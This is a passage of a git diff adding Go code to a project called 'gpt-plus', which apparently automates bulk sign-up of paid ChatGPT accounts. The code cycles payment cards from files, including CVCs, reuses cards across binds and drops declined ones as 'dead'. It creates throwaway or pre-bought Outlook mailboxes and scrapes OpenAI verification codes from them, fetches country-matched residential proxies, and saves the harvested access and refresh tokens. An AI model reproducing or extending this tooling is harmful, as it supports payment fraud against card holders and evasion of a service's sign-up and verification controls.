p.pool.ReportResult(card, success) + return nil +} + +// parseCardFile reads and parses a card file. +func parseCardFile(filePath, defaultCountry, defaultCurrency string) ([]*CardInfo, error) { + f, err := os.Open(filePath) + if err != nil { + return nil, fmt.Errorf("open card file: %w", err) + } + defer f.Close() + + var cards []*CardInfo + scanner := bufio.NewScanner(f) + lineNum := 0 + + for scanner.Scan() { + lineNum++ + line := strings.TrimSpace(scanner.Text()) + + // Skip empty lines and comments + if line == "" || strings.HasPrefix(line, "#") || strings.HasPrefix(line, "//") { + continue + } + + card, err := parseLine(line, defaultCountry, defaultCurrency) + if err != nil { + return nil, fmt.Errorf("line %d: %w", lineNum, err) + } + cards = append(cards, card) + } + + if err := scanner.Err(); err != nil { + return nil, fmt.Errorf("read card file: %w", err) + } + + return cards, nil +} + +// parseLine parses a single card line. Supports | and , delimiters. +func parseLine(line, defaultCountry, defaultCurrency string) (*CardInfo, error) { + var parts []string + if strings.Contains(line, "|") { + parts = strings.Split(line, "|") + } else { + parts = strings.Split(line, ",") + } + + // Trim all parts + for i := range parts { + parts[i] = strings.TrimSpace(parts[i]) + } + + if len(parts) < 4 { + return nil, fmt.Errorf("expected at least 4 fields (number|month|year|cvc), got %d", len(parts)) + } + + card := &CardInfo{ + Number: parts[0], + ExpMonth: parts[1], + ExpYear: parts[2], + CVC: parts[3], + Country: defaultCountry, + Currency: defaultCurrency, + } + + if len(parts) >= 5 && parts[4] != "" { + card.Name = parts[4] + } + if len(parts) >= 6 && parts[5] != "" { + card.Country = parts[5] + } + if len(parts) >= 7 && parts[6] != "" { + card.Currency = parts[6] + } + if len(parts) >= 8 && parts[7] != "" { + card.Address = parts[7] + } + if len(parts) >= 9 && parts[8] != "" { + card.City = parts[8] + } + if len(parts) >= 10 && parts[9] != "" { + card.State = parts[9] + } + if len(parts) >= 11 && parts[10] != "" { + card.PostalCode = parts[10] + } + + return card, nil +} diff --git a/pkg/provider/card/pool.go b/pkg/provider/card/pool.go new file mode 100644 index 0000000..cfb6a66 --- /dev/null +++ b/pkg/provider/card/pool.go @@ -0,0 +1,146 @@ +package card + +import ( + "fmt" + "log" + "sync" + "time" +) + +// CardPool manages a pool of cards with TTL expiration and multi-bind support. +type CardPool struct { + mu sync.Mutex + cards []*poolEntry + index int + ttl time.Duration // card validity duration (0 = no expiry) + multiBind bool // allow reusing cards multiple times + maxBinds int // max binds per card (0 = unlimited when multiBind=true) +} + +type poolEntry struct { + card *CardInfo + addedAt time.Time + bindCount int + rejected bool // upstream rejected this card +} + +// PoolConfig configures the card pool behavior. +type PoolConfig struct { + TTL time.Duration // card validity period (default: 1h) + MultiBind bool // allow one card to be used multiple times + MaxBinds int // max uses per card (0 = unlimited) +} + +// NewCardPool creates a card pool with the given config. +func NewCardPool(cfg PoolConfig) *CardPool { + if cfg.TTL == 0 { + cfg.TTL = time.Hour + } + return &CardPool{ + ttl: cfg.TTL, + multiBind: cfg.MultiBind, + maxBinds: cfg.MaxBinds, + } +} + +// AddCards adds cards to the pool. +func (p *CardPool) AddCards(cards []*CardInfo) { + p.mu.Lock() + defer p.mu.Unlock() + + now := time.Now() + for _, c := range cards { + p.cards = append(p.cards, &poolEntry{ + card: c, + addedAt: now, + }) + } +} + +// GetCard returns the next available card from the pool. +func (p *CardPool) GetCard() (*CardInfo, error) { + p.mu.Lock() + defer p.mu.Unlock() + + now := time.Now() + checked := 0 + + for checked < len(p.cards) { + entry := p.cards[p.index] + p.index = (p.index + 1) % len(p.cards) + checked++ + + // Skip expired cards + if p.ttl > 0 && now.Sub(entry.addedAt) > p.ttl { + continue + } + + // Skip rejected cards + if entry.rejected { + continue + } + + // Check bind limits + if !p.multiBind && entry.bindCount > 0 { + continue + } + if p.multiBind && p.maxBinds > 0 && entry.bindCount >= p.maxBinds { + continue + } + + // Don't increment bindCount here — caller must call IncrementBind() after + // a real payment attempt reaches a terminal state (success or upstream decline). + log.Printf("[card-pool] dispensing card %s...%s (current binds=%d)", + entry.card.Number[:4], entry.card.Number[len(entry.card.Number)-4:], entry.bindCount) + return entry.card, nil + } + + return nil, fmt.Errorf("no available cards in pool (total=%d)", len(p.cards)) +} + +// ReportResult handles payment terminal states: +// - success=true: bindCount++ (card used successfully) +// - success=false: bindCount++ AND rejected=true (upstream declined, card is dead) +func (p *CardPool) ReportResult(card *CardInfo, success bool) { + p.mu.Lock() + defer p.mu.Unlock() + + for _, entry := range p.cards { + if entry.card.Number == card.Number { + entry.bindCount++ + if !success { + entry.rejected = true + log.Printf("[card-pool] card %s...%s marked as rejected (bind #%d)", + card.Number[:4], card.Number[len(card.Number)-4:], entry.bindCount) + } else { + log.Printf("[card-pool] card %s...%s bind #%d recorded (success)", + card.Number[:4], card.Number[len(card.Number)-4:], entry.bindCount) + } + return + } + } +} + +// Stats returns pool statistics. +func (p *CardPool) Stats() (total, available, expired, rejected int) { + p.mu.Lock() + defer p.mu.Unlock() + + now := time.Now() + total = len(p.cards) + for _, e := range p.cards { + switch { + case e.rejected: + rejected++ + case p.ttl > 0 && now.Sub(e.addedAt) > p.ttl: + expired++ + case !p.multiBind && e.bindCount > 0: + // used up in single-bind mode + case p.multiBind && p.maxBinds > 0 && e.bindCount >= p.maxBinds: + // used up max binds + default: + available++ + } + } + return +} diff --git a/pkg/provider/card/provider.go b/pkg/provider/card/provider.go new file mode 100644 index 0000000..98a7530 --- /dev/null +++ b/pkg/provider/card/provider.go @@ -0,0 +1,26 @@ +package card + +import "context" + +// CardInfo holds bank card details for Stripe payments. +type CardInfo struct { + Number string // Card number + ExpMonth string // Expiration month MM + ExpYear string // Expiration year YYYY + CVC string // CVC code + Name string // Cardholder name (optional) + Country string // Country code e.g. JP, US + Currency string // Currency e.g. JPY, USD + Address string // Street address (optional) + City string // City (optional) + State string // State/province (optional) + PostalCode string // Postal/ZIP code (optional) +} + +// CardProvider is the pluggable interface for bank card sources. +type CardProvider interface { + // GetCard returns an available card for payment. + GetCard(ctx context.Context) (*CardInfo, error) + // ReportResult reports the usage outcome so the provider can manage its card pool. + ReportResult(ctx context.Context, card *CardInfo, success bool) error +} diff --git a/pkg/provider/card/static.go b/pkg/provider/card/static.go new file mode 100644 index 0000000..ebe0a31 --- /dev/null +++ b/pkg/provider/card/static.go @@ -0,0 +1,53 @@ +package card + +import ( + "context" + "fmt" + + "gpt-plus/config" +) + +// StaticProvider serves cards from a static YAML config list via a card pool. +type StaticProvider struct { + pool *CardPool +} + +// NewStaticProvider creates a StaticProvider from config card entries. +func NewStaticProvider(cards []config.CardEntry, poolCfg PoolConfig) (*StaticProvider, error) { + if len(cards) == 0 { + return nil, fmt.Errorf("static card provider: no cards configured") + } + + infos := make([]*CardInfo, len(cards)) + for i, c := range cards { + infos[i] = &CardInfo{ + Number: c.Number, + ExpMonth: c.ExpMonth, + ExpYear: c.ExpYear, + CVC: c.CVC, + Name: c.Name, + Country: c.Country, + Currency: c.Currency, + Address: c.Address, + City: c.City, + State: c.State, + PostalCode: c.PostalCode, + } + } + + pool := NewCardPool(poolCfg) + pool.AddCards(infos) + + return &StaticProvider{pool: pool}, nil +} + +// GetCard returns the next available card from the pool. +func (p *StaticProvider) GetCard(ctx context.Context) (*CardInfo, error) { + return p.pool.GetCard() +} + +// ReportResult reports the usage outcome. +func (p *StaticProvider) ReportResult(ctx context.Context, card *CardInfo, success bool) error { + p.pool.ReportResult(card, success) + return nil +} diff --git a/pkg/provider/email/mailgateway.go b/pkg/provider/email/mailgateway.go new file mode 100644 index 0000000..f348b16 --- /dev/null +++ b/pkg/provider/email/mailgateway.go @@ -0,0 +1,278 @@ +package email + +import ( + "context" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "regexp" + "strings" + "time" +) + +var codeRegexp = regexp.MustCompile(`\b(\d{6})\b`) + +// MailGatewayProvider implements EmailProvider using the Mail Gateway API. +// API docs: https://regmail.zhengmi.org/ +type MailGatewayProvider struct { + baseURL string + apiKey string + provider string +} + +// NewMailGateway creates a new MailGatewayProvider. +func NewMailGateway(baseURL, apiKey, provider string) *MailGatewayProvider { + return &MailGatewayProvider{ + baseURL: strings.TrimRight(baseURL, "/"), + apiKey: apiKey, + provider: provider, + } +} + +type createMailboxResponse struct { + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + Data struct { + MailboxID string `json:"mailbox_id"` + Email string `json:"email"` + Provider string `json:"provider"` + } `json:"data"` +} + +type emailEntry struct { + ID string `json:"id"` + From string `json:"from"` + Subject string `json:"subject"` + Content string `json:"content"` + Body string `json:"body"` + Text string `json:"text"` + ReceivedAt string `json:"received_at"` +} + +type listEmailsResponse struct { + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + Data struct { + Emails []emailEntry `json:"emails"` + } `json:"data"` +} + +type verificationResponse struct { + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + Data json.RawMessage `json:"data"` +} + +func (m *MailGatewayProvider) doRequest(req *http.Request) ([]byte, error) { + req.Header.Set("X-API-Key", m.apiKey) + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return nil, fmt.Errorf("request %s: %w", req.URL.Path, err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read response: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("%s returned %d: %s", req.URL.Path, resp.StatusCode, string(body)) + } + + return body, nil +} + +// CreateMailbox creates a temporary mailbox via the Mail Gateway API. +// POST /api/v1/mailboxes {"provider": "gptmail"} +func (m *MailGatewayProvider) CreateMailbox(ctx context.Context) (string, string, error) { + payload := fmt.Sprintf(`{"provider":"%s"}`, m.provider) + req, err := http.NewRequestWithContext(ctx, http.MethodPost, m.baseURL+"/api/v1/mailboxes", strings.NewReader(payload)) + if err != nil { + return "", "", fmt.Errorf("build create mailbox request: %w", err) + } + req.Header.Set("Content-Type", "application/json") + + body, err := m.doRequest(req) + if err != nil { + return "", "", fmt.Errorf("create mailbox: %w", err) + } + + var result createMailboxResponse + if err := json.Unmarshal(body, &result); err != nil { + return "", "", fmt.Errorf("parse create mailbox response: %w", err) + } + + if !result.OK { + return "", "", fmt.Errorf("create mailbox failed: %s", result.Error) + } + + log.Printf("[email] mailbox created: %s (provider: %s, id: %s)", result.Data.Email, result.Data.Provider, result.Data.MailboxID) + return result.Data.Email, result.Data.MailboxID, nil +} + +// WaitForVerificationCode polls for an OTP code, ignoring emails that existed before notBefore. +// If notBefore is zero, all emails are considered (for fresh mailboxes). +func (m *MailGatewayProvider) WaitForVerificationCode(ctx context.Context, mailboxID string, timeout time.Duration, notBefore time.Time) (string, error) { + // Snapshot existing email IDs so we can skip them when filtering + knownIDs := make(map[string]bool) + if !notBefore.IsZero() { + existing, _ := m.ListEmailIDs(ctx, mailboxID) + for _, id := range existing { + knownIDs[id] = true + } + log.Printf("[email] snapshotted %d existing emails to skip", len(knownIDs)) + } + + deadline := time.Now().Add(timeout) + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + + for attempt := 1; ; attempt++ { + log.Printf("[email] polling for verification code (attempt %d)", attempt) + + code, err := m.pollNewEmails(ctx, mailboxID, knownIDs) + if err == nil && code != "" { + log.Printf("[email] verification code found: %s", code) + return code, nil + } + + if time.Now().After(deadline) { + return "", fmt.Errorf("timeout waiting for verification code after %s", timeout) + } + + select { + case <-ctx.Done(): + return "", ctx.Err() + case <-ticker.C: + } + } +} + +// ListEmailIDs returns the IDs of all current emails in the mailbox. +func (m *MailGatewayProvider) ListEmailIDs(ctx context.Context, mailboxID string) ([]string, error) { + reqURL := fmt.Sprintf("%s/api/v1/emails?mailbox_id=%s&limit=20", m.baseURL, mailboxID) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, reqURL, nil) + if err != nil { + return nil, err + } + body, err := m.doRequest(req) + if err != nil { + return nil, err + } + var result listEmailsResponse + if err := json.Unmarshal(body, &result); err != nil { + return nil, err + } + var ids []string + for _, e := range result.Data.Emails { + ids = append(ids, e.ID) + } + return ids, nil +} + +// pollNewEmails lists emails and returns a code only from emails NOT in knownIDs. +func (m *MailGatewayProvider) pollNewEmails(ctx context.Context, mailboxID string, knownIDs map[string]bool) (string, error) { + reqURL := fmt.Sprintf("%s/api/v1/emails?mailbox_id=%s&limit=10", m.baseURL, mailboxID) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, reqURL, nil) + if err != nil { + return "", err + } + body, err := m.doRequest(req) + if err != nil { + return "", err + } + var result listEmailsResponse + if err := json.Unmarshal(body, &result); err != nil { + return "", err + } + if !result.OK || len(result.Data.Emails) == 0 { + return "", nil + } + for _, e := range result.Data.Emails { + // Skip emails that existed before our OTP send + if len(knownIDs) > 0 && knownIDs[e.ID] { + continue + } + text := e.Content + if text == "" { + text = e.Body + } + if text == "" { + text = e.Text + } + if text == "" { + text = e.Subject + } + matches := codeRegexp.FindStringSubmatch(text) + if len(matches) >= 2 { + return matches[1], nil + } + } + return "", nil +} + +// pollVerificationEndpoint uses the dedicated verification email endpoint. +// GET /api/v1/emails/verification?mailbox_id=xxx&keyword=openai +func (m *MailGatewayProvider) pollVerificationEndpoint(ctx context.Context, mailboxID string) (string, error) { + reqURL := fmt.Sprintf("%s/api/v1/emails/verification?mailbox_id=%s&keyword=openai", m.baseURL, mailboxID) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, reqURL, nil) + if err != nil { + return "", err + } + + body, err := m.doRequest(req) + if err != nil { + return "", err + } + + var result verificationResponse + if err := json.Unmarshal(body, &result); err != nil { + return "", err + } + + if !result.OK || len(result.Data) == 0 { + return "", nil // no verification email yet + } + + // Data can be a single object or an array — handle both + var entries []emailEntry + if err := json.Unmarshal(result.Data, &entries); err != nil { + // Try as single object + var single emailEntry + if err2 := json.Unmarshal(result.Data, &single); err2 != nil { + return "", fmt.Errorf("parse verification data: %w", err2) + } + entries = []emailEntry{single} + } + + // Extract 6-digit OTP from email content/body/text/subject + for _, e := range entries { + text := e.Content + if text == "" { + text = e.Body + } + if text == "" { + text = e.Text + } + if text == "" { + text = e.Subject + } + matches := codeRegexp.FindStringSubmatch(text) + if len(matches) >= 2 { + return matches[1], nil + } + } + + return "", nil +} + +// WaitForTeamAccountID polls for a Team workspace creation email and extracts account_id. +// TODO: implement proper email parsing for team workspace emails. +func (m *MailGatewayProvider) WaitForTeamAccountID(ctx context.Context, mailboxID string, timeout time.Duration, notBefore time.Time) (string, error) { + return "", fmt.Errorf("WaitForTeamAccountID not implemented for MailGateway provider") +} + diff --git a/pkg/provider/email/outlook.go b/pkg/provider/email/outlook.go new file mode 100644 index 0000000..7bbd4ef --- /dev/null +++ b/pkg/provider/email/outlook.go @@ -0,0 +1,386 @@ +package email + +import ( + "bufio" + "context" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "net/url" + "os" + "regexp" + "strconv" + "strings" + "sync" + "time" +) + +const ( + msTokenURL = "https://login.microsoftonline.com/common/oauth2/v2.0/token" + outlookMailURL = "https://outlook.office.com/api/v2.0/me/mailFolders/inbox/messages" +) + +// OutlookAccount holds credentials for a single Outlook email account. +type OutlookAccount struct { + Email string + Password string + ClientID string // Microsoft OAuth client_id (field 3 in file) + RefreshToken string // Microsoft refresh token (field 4 in file) +} + +// OutlookProvider implements EmailProvider using pre-existing Outlook accounts +// and Outlook REST API for email retrieval. +type OutlookProvider struct { + accounts []OutlookAccount + mu sync.Mutex + nextIdx int +} + +// NewOutlookProvider creates an OutlookProvider by loading accounts from a file. +// File format: email----password----client_id----refresh_token (one per line). +// pop3Server and pop3Port are ignored (kept for API compatibility). +func NewOutlookProvider(accountsFile, pop3Server string, pop3Port int) (*OutlookProvider, error) { + accounts, err := loadOutlookAccounts(accountsFile) + if err != nil { + return nil, err + } + if len(accounts) == 0 { + return nil, fmt.Errorf("no accounts found in %s", accountsFile) + } + + log.Printf("[outlook] loaded %d accounts from %s (using REST API)", len(accounts), accountsFile) + + return &OutlookProvider{ + accounts: accounts, + }, nil +} + +func loadOutlookAccounts(path string) ([]OutlookAccount, error) { + f, err := os.Open(path) + if err != nil { + return nil, fmt.Errorf("open accounts file: %w", err) + } + defer f.Close() + + var accounts []OutlookAccount + scanner := bufio.NewScanner(f) + scanner.Buffer(make([]byte, 0, 4096), 4096) + lineNum := 0 + for scanner.Scan() { + lineNum++ + line := strings.TrimSpace(scanner.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + parts := strings.Split(line, "----") + if len(parts) < 2 { + log.Printf("[outlook] skipping line %d: expected at least email----password", lineNum) + continue + } + acct := OutlookAccount{ + Email: strings.TrimSpace(parts[0]), + Password: strings.TrimSpace(parts[1]), + } + if len(parts) >= 3 { + acct.ClientID = strings.TrimSpace(parts[2]) + } + if len(parts) >= 4 { + acct.RefreshToken = strings.TrimSpace(parts[3]) + } + accounts = append(accounts, acct) + } + return accounts, scanner.Err() +} + +// CreateMailbox returns the next available Outlook account email. +func (o *OutlookProvider) CreateMailbox(ctx context.Context) (string, string, error) { + o.mu.Lock() + defer o.mu.Unlock() + + if o.nextIdx >= len(o.accounts) { + return "", "", fmt.Errorf("all %d outlook accounts exhausted", len(o.accounts)) + } + + acct := o.accounts[o.nextIdx] + mailboxID := strconv.Itoa(o.nextIdx) + o.nextIdx++ + + log.Printf("[outlook] using account #%s: %s", mailboxID, acct.Email) + return acct.Email, mailboxID, nil +} + +// WaitForVerificationCode polls the Outlook inbox via REST API for a 6-digit OTP. +func (o *OutlookProvider) WaitForVerificationCode(ctx context.Context, mailboxID string, timeout time.Duration, notBefore time.Time) (string, error) { + idx, err := strconv.Atoi(mailboxID) + if err != nil || idx < 0 || idx >= len(o.accounts) { + return "", fmt.Errorf("invalid mailbox ID: %s", mailboxID) + } + acct := o.accounts[idx] + + if acct.RefreshToken == "" || acct.ClientID == "" { + return "", fmt.Errorf("outlook account %s has no refresh_token/client_id for REST API", acct.Email) + } + + deadline := time.Now().Add(timeout) + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + + for attempt := 1; ; attempt++ { + log.Printf("[outlook] polling REST API for OTP (attempt %d, account=%s)", attempt, acct.Email) + + code, err := o.checkRESTForOTP(acct, notBefore) + if err != nil { + log.Printf("[outlook] REST API error (attempt %d): %v", attempt, err) + } else if code != "" { + log.Printf("[outlook] verification code found: %s", code) + return code, nil + } + + if time.Now().After(deadline) { + return "", fmt.Errorf("timeout waiting for OTP after %s (%d attempts)", timeout, attempt) + } + + select { + case <-ctx.Done(): + return "", ctx.Err() + case <-ticker.C: + } + } +} + +// checkRESTForOTP uses Outlook REST API to fetch recent emails and extract OTP. +func (o *OutlookProvider) checkRESTForOTP(acct OutlookAccount, notBefore time.Time) (string, error) { + // Exchange refresh token for access token (no scope param — token already has outlook.office.com scopes) + accessToken, err := exchangeMSToken(acct.ClientID, acct.RefreshToken) + if err != nil { + return "", fmt.Errorf("token exchange: %w", err) + } + + // Fetch recent emails without $filter (Outlook v2.0 often rejects filter on + // consumer mailboxes with InefficientFilter). We filter client-side instead. + reqURL := fmt.Sprintf("%s?$top=10&$orderby=ReceivedDateTime+desc&$select=Subject,BodyPreview,ReceivedDateTime,From", + outlookMailURL) + + req, err := http.NewRequest("GET", reqURL, nil) + if err != nil { + return "", fmt.Errorf("build request: %w", err) + } + req.Header.Set("Authorization", "Bearer "+accessToken) + req.Header.Set("Content-Type", "application/json") + + client := &http.Client{Timeout: 15 * time.Second} + resp, err := client.Do(req) + if err != nil { + return "", fmt.Errorf("REST API request: %w", err) + } + defer resp.Body.Close() + + body, _ := io.ReadAll(resp.Body) + if resp.StatusCode != 200 { + return "", fmt.Errorf("REST API returned %d: %s", resp.StatusCode, truncateStr(string(body), 200)) + } + + var result struct { + Value []struct { + Subject string `json:"Subject"` + BodyPreview string `json:"BodyPreview"` + ReceivedDateTime string `json:"ReceivedDateTime"` + From struct { + EmailAddress struct { + Address string `json:"Address"` + } `json:"EmailAddress"` + } `json:"From"` + } `json:"value"` + } + if err := json.Unmarshal(body, &result); err != nil { + return "", fmt.Errorf("parse REST API response: %w", err) + } + + log.Printf("[outlook] REST API returned %d emails", len(result.Value)) + + otpRegexp := regexp.MustCompile(`\b(\d{6})\b`) + + for _, email := range result.Value { + subject := email.Subject + preview := email.BodyPreview + sender := strings.ToLower(email.From.EmailAddress.Address) + + log.Printf("[outlook] email: from=%s subject=%s", sender, subject) + + // Client-side sender filter: must be from OpenAI + if !strings.Contains(sender, "openai") { + continue + } + + // Client-side time filter: skip emails before notBefore + if !notBefore.IsZero() && email.ReceivedDateTime != "" { + if t, err := time.Parse("2006-01-02T15:04:05Z", email.ReceivedDateTime); err == nil { + if t.Before(notBefore) { + log.Printf("[outlook] skipping old email (received %s, notBefore %s)", email.ReceivedDateTime, notBefore.UTC().Format(time.RFC3339)) + continue + } + } + } + + // Try subject first ("Your ChatGPT code is 884584") + if m := otpRegexp.FindStringSubmatch(subject); len(m) >= 2 { + return m[1], nil + } + + // Try body preview + if m := otpRegexp.FindStringSubmatch(preview); len(m) >= 2 { + return m[1], nil + } + } + + return "", nil +} + +// exchangeMSToken exchanges a Microsoft refresh token for an access token. +// Note: do NOT pass scope parameter — the token already has outlook.office.com scopes. +func exchangeMSToken(clientID, refreshToken string) (string, error) { + data := url.Values{ + "client_id": {clientID}, + "grant_type": {"refresh_token"}, + "refresh_token": {refreshToken}, + } + + client := &http.Client{Timeout: 15 * time.Second} + resp, err := client.PostForm(msTokenURL, data) + if err != nil { + return "", fmt.Errorf("token request: %w", err) + } + defer resp.Body.Close() + + body, _ := io.ReadAll(resp.Body) + if resp.StatusCode != 200 { + return "", fmt.Errorf("token exchange failed (%d): %s", resp.StatusCode, truncateStr(string(body), 200)) + } + + var tokenResp struct { + AccessToken string `json:"access_token"` + Error string `json:"error"` + ErrorDesc string `json:"error_description"` + } + if err := json.Unmarshal(body, &tokenResp); err != nil { + return "", fmt.Errorf("parse token response: %w", err) + } + if tokenResp.AccessToken == "" { + return "", fmt.Errorf("no access_token: error=%s desc=%s", tokenResp.Error, truncateStr(tokenResp.ErrorDesc, 100)) + } + + return tokenResp.AccessToken, nil +} + +func truncateStr(s string, maxLen int) string { + if len(s) <= maxLen { + return s + } + return s[:maxLen-3] + "..." +} + +// WaitForTeamAccountID polls for a Team workspace creation email and extracts account_id. +func (o *OutlookProvider) WaitForTeamAccountID(ctx context.Context, mailboxID string, timeout time.Duration, notBefore time.Time) (string, error) { + idx, err := strconv.Atoi(mailboxID) + if err != nil || idx < 0 || idx >= len(o.accounts) { + return "", fmt.Errorf("invalid mailbox ID: %s", mailboxID) + } + acct := o.accounts[idx] + + if acct.RefreshToken == "" || acct.ClientID == "" { + return "", fmt.Errorf("outlook account %s has no refresh_token/client_id", acct.Email) + } + + deadline := time.Now().Add(timeout) + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + + teamURLRegexp := regexp.MustCompile(`account_id=([a-f0-9-]+)`) + + for attempt := 1; ; attempt++ { + accessToken, tokenErr := exchangeMSToken(acct.ClientID, acct.RefreshToken) + if tokenErr != nil { + log.Printf("[outlook] token exchange error (attempt %d): %v", attempt, tokenErr) + goto wait + } + + { + // Fetch recent emails without $filter (consumer mailboxes reject filters). + // We filter client-side by sender and time. + reqURL := fmt.Sprintf("%s?$top=10&$orderby=ReceivedDateTime+desc&$select=Subject,Body,ReceivedDateTime,From", + outlookMailURL) + + req, _ := http.NewRequest("GET", reqURL, nil) + req.Header.Set("Authorization", "Bearer "+accessToken) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Prefer", "outlook.body-content-type=\"text\"") + + httpClient := &http.Client{Timeout: 15 * time.Second} + resp, reqErr := httpClient.Do(req) + if reqErr != nil { + log.Printf("[outlook] REST API error (attempt %d): %v", attempt, reqErr) + goto wait + } + + body, _ := io.ReadAll(resp.Body) + resp.Body.Close() + + if resp.StatusCode != 200 { + log.Printf("[outlook] REST API returned %d (attempt %d)", resp.StatusCode, attempt) + goto wait + } + + var result struct { + Value []struct { + Subject string `json:"Subject"` + ReceivedDateTime string `json:"ReceivedDateTime"` + Body struct { + Content string `json:"Content"` + } `json:"Body"` + From struct { + EmailAddress struct { + Address string `json:"Address"` + } `json:"EmailAddress"` + } `json:"From"` + } `json:"value"` + } + json.Unmarshal(body, &result) + + for _, email := range result.Value { + sender := strings.ToLower(email.From.EmailAddress.Address) + // Client-side sender filter + if !strings.Contains(sender, "openai") { + continue + } + // Client-side time filter + if !notBefore.IsZero() && email.ReceivedDateTime != "" { + if t, parseErr := time.Parse("2006-01-02T15:04:05Z", email.ReceivedDateTime); parseErr == nil { + if t.Before(notBefore) { + continue + } + } + } + subject := strings.ToLower(email.Subject) + if strings.Contains(subject, "team") || strings.Contains(subject, "workspace") { + if m := teamURLRegexp.FindStringSubmatch(email.Body.Content); len(m) >= 2 { + log.Printf("[outlook] found team account_id: %s", m[1]) + return m[1], nil + } + } + } + } + + wait: + if time.Now().After(deadline) { + return "", fmt.Errorf("timeout waiting for team email after %s (%d attempts)", timeout, attempt) + } + + select { + case <-ctx.Done(): + return "", ctx.Err() + case <-ticker.C: + } + } +} diff --git a/pkg/provider/email/provider.go b/pkg/provider/email/provider.go new file mode 100644 index 0000000..9314b1f --- /dev/null +++ b/pkg/provider/email/provider.go @@ -0,0 +1,19 @@ +package email + +import ( + "context" + "time" +) + +// EmailProvider is the pluggable interface for email services. +type EmailProvider interface { + // CreateMailbox creates a temporary mailbox, returning the email address and an internal ID. + CreateMailbox(ctx context.Context) (email string, mailboxID string, err error) + // WaitForVerificationCode polls for an OTP email and extracts the verification code. + // notBefore: only consider emails received after this time (use time.Time{} to accept all). + WaitForVerificationCode(ctx context.Context, mailboxID string, timeout time.Duration, notBefore time.Time) (code string, err error) + // WaitForTeamAccountID polls for a Team workspace creation email from OpenAI + // and extracts the account_id from the embedded link (direct URL or Mandrill tracking link). + // notBefore: only consider emails received after this time. + WaitForTeamAccountID(ctx context.Context, mailboxID string, timeout time.Duration, notBefore time.Time) (accountID string, err error) +} diff --git a/pkg/proxy/b2proxy.go b/pkg/proxy/b2proxy.go new file mode 100644 index 0000000..222f54a --- /dev/null +++ b/pkg/proxy/b2proxy.go @@ -0,0 +1,58 @@ +package proxy + +import ( + "encoding/json" + "fmt" + "net/http" + "time" + + "gpt-plus/config" +) + +// b2proxyResponse represents the JSON response from the B2Proxy API. +type b2proxyResponse struct { + Code int `json:"code"` + Data []struct { + IP string `json:"ip"` + Port int `json:"port"` + } `json:"data"` +} + +// FetchB2Proxy calls the B2Proxy API to get a proxy IP for the given country. +// Returns a proxy URL like "socks5://1.2.3.4:10000" or "http://1.2.3.4:10000". +// Uses a direct HTTP client (no proxy) with a 10-second timeout. +func FetchB2Proxy(cfg config.B2ProxyConfig, countryCode string) (string, error) { + // Build the API URL + url := fmt.Sprintf("%s/gen?zone=%s&ptype=%d&count=1&proto=%s&stype=json&sessType=sticky&sessTime=%d&sessAuto=1®ion=%s", + cfg.APIBase, cfg.Zone, cfg.PType, cfg.Proto, cfg.SessTime, countryCode) + + // Use a direct HTTP client (must not go through proxy to fetch proxy) + directClient := &http.Client{Timeout: 10 * time.Second} + + resp, err := directClient.Get(url) + if err != nil { + return "", fmt.Errorf("b2proxy API request failed: %w", err) + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("b2proxy API returned status %d", resp.StatusCode) + } + + var result b2proxyResponse + if err := json.NewDecoder(resp.Body).Decode(&result); err != nil { + return "", fmt.Errorf("b2proxy API decode failed: %w", err) + } + + if result.Code != 200 { + return "", fmt.Errorf("b2proxy API error code: %d", result.Code) + } + + if len(result.Data) == 0 { + return "", fmt.Errorf("b2proxy API returned no proxy for region %s", countryCode) + } + + entry := result.Data[0] + proxyURL := fmt.Sprintf("%s://%s:%d", cfg.Proto, entry.IP, entry.Port) + return proxyURL, nil +} diff --git a/pkg/storage/json.go b/pkg/storage/json.go new file mode 100644 index 0000000..468ab4e --- /dev/null +++ b/pkg/storage/json.go @@ -0,0 +1,165 @@ +package storage + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "time" + + "gpt-plus/pkg/chatgpt" +) + +// SaveAccount saves an AccountResult to a JSON file named {email}.json in outputDir. +func SaveAccount(outputDir string, result *chatgpt.AccountResult) error { + if err := os.MkdirAll(outputDir, 0o755); err != nil { + return fmt.Errorf("create output dir: %w", err) + } + + filename := filepath.Join(outputDir, result.Email+".json") + data, err := json.MarshalIndent(result, "", " ") + if err != nil { + return fmt.Errorf("marshal account result: %w", err) + } + + if err := os.WriteFile(filename, data, 0o644); err != nil { + return fmt.Errorf("write account file: %w", err) + } + + return nil +} + +// authFile mirrors the auth.json format used by sub2api / other tools. +type authFile struct { + OpenAIAPIKey string `json:"OPENAI_API_KEY"` + AccessToken string `json:"access_token"` + IDToken string `json:"id_token"` + LastRefresh string `json:"last_refresh"` + RefreshToken string `json:"refresh_token"` + Tokens authTokens `json:"tokens"` +} + +type authTokens struct { + AccessToken string `json:"access_token"` + AccountID string `json:"account_id"` + IDToken string `json:"id_token"` + LastRefresh string `json:"last_refresh"` + RefreshToken string `json:"refresh_token"` +} + +// SavePlusAuthFile saves a Plus auth.json file (personal token) to outputDir/plus/. +func SavePlusAuthFile(outputDir string, result *chatgpt.AccountResult) error { + dir := filepath.Join(outputDir, "plus") + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("create plus output dir: %w", err) + } + + now := time.Now().UTC().Format("2006-01-02T15:04:05Z") + + auth := &authFile{ + OpenAIAPIKey: "", + AccessToken: result.AccessToken, + IDToken: result.IDToken, + LastRefresh: now, + RefreshToken: result.RefreshToken, + Tokens: authTokens{ + AccessToken: result.AccessToken, + AccountID: result.ChatGPTAccountID, + IDToken: result.IDToken, + LastRefresh: now, + RefreshToken: 